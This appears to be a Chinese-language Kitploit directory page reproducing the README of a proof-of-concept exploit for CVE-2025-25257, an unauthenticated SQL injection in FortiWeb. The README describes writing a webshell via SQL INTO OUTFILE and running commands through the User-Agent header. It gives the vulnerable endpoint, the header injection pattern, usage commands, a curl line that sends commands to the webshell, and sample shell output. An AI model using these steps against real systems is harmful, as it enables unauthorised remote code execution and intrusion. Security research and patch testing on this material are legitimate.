Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/0xgh057r3c0n/cve-2025-25257
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHub0xgh057r3c0n/cve-2025-25257

CVE-2025-25257

CVE-2025-25257 的 PoC,针对 FortiWeb 中一个严重的未认证 SQL 注入漏洞。通过 Authorization 标头利用 SQL 注入写入 Webshell 并获得远程代码执行权限。无需登录。全自动化。

查看仓库
111年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚨 CVE-2025-25257 – FortiWeb SQL注入到远程代码执行

关键SQL注入 → Webshell执行

发现并武器化 by 0xgh057r3c0n


🧠 漏洞概述

CVE-2025-25257 影响暴露端点 /api/fabric/device/status 的 FortiWeb 系统,该端点未能正确清理 Authorization 头输入。

攻击者可以执行未经验证的SQL注入,在服务器上写入webshell并远程执行命令。


💥 攻击流程

root@kitploit:~
SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 漏洞端点

root@kitploit:~
GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 利用特点

  • 通过Bearer令牌进行SQL注入
  • 使用SQL INTO OUTFILE 释放webshell
  • Python钩子触发chmod
  • 通过User-Agent执行命令
  • 完全自动化的PoC

🧪 使用方法

root@kitploit:~
python3 CVE-2025-25257.py -t https://target-host.com

然后:

root@kitploit:~
curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 环境要求

  • Python 3.6+
  • requests 模块

安装:

root@kitploit:~
pip install requests

📤 示例输出

root@kitploit:~
[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 CVSS 评分

指标分值
基础评分9.8(严重)
攻击向量网络
所需权限无
用户交互无
影响高(机密性/完整性/可用性)

🛡️ 缓解措施

  • 更新FortiWeb固件(如果补丁可用)
  • 清理所有头部输入
  • 限制文件写入路径和CGI执行

👨‍💻 作者

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n


⚠️ 免责声明

此概念验证仅用于教育和授权测试。 使用风险自负。作者不对滥用负责。


下载工具